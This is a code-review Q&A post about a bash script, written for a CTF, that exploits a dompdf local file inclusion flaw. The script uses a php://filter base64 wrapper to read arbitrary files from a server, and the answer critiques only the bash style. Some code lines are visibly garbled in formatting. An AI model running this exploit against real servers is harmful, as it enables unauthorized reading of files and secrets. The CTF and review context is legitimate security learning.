# Intro

During a CTF I encountered a dompdf LFI vulnerability, which is explained at exploitdb.

However when I executed that vulnerability it gave it to me in PDF form, and it was a pain to constantly (read, strip, and base64 decode) to read the contents of files. So I made a little bash script to do these things automatically.

I am happy with the result, but I thought there maybe was a way to resolve those double sed into one Regex capture. It works because the [( ... )] is unique in the resulting string.

# Code

#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo curl --silent $URL | sed 's/.*$(//' | sed 's/)$.*//' | base64 -d  • I edited your question to add the URL I think you meant to link to originally. If it's wrong, feel free to change it again. – Daniel Apr 15 '18 at 16:43 • @Coal_ I've added the correct link again, seem to have removed it when I removed the clutter from the question. Thnx – Ludisposed Apr 15 '18 at 16:49 ## 1 Answer ### Input validation I find this an unusual way to validate script parameters: if [ -z "$1" ] || [ -z "$2" ]; then  It's more common to verify that there are exactly two parameters: if [$# != 2 ]; then


Note that this is not exactly the same as the original. The original verifies that neither $1 and $2 is empty, and it silently allows more than 2 parameters.

### Why echo a sub-shell?

What is the purpose of this echo:

echo curl --silent $URL  Instead of simply: curl --silent$URL


If the purpose is to join multiple lines into one, I would use tr instead:

curl --silent "$URL" | tr -d '\n' # or curl --silent "$URL" | tr '\n' ' '


Writing this way make the intention more clear. Another advantage is streamlined processing. Note also that I added double-quotes around the \$URL used as command parameter, as a good rule of thumb to protect from unexpected word splitting and globbing.

### One sed to rule them all

sed 's/.*$(//' | sed 's/)$.*//'

You can do multiple expressions with a single sed using multiple -e parameters:
sed -e 's/.*$(//' -e 's/)$.*//'

I use the -e even with single expressions, for maximum clarity.
• The echo might be to compress whitespace, or to expand globs... (probably not). – Toby Speight Apr 11 '18 at 22:00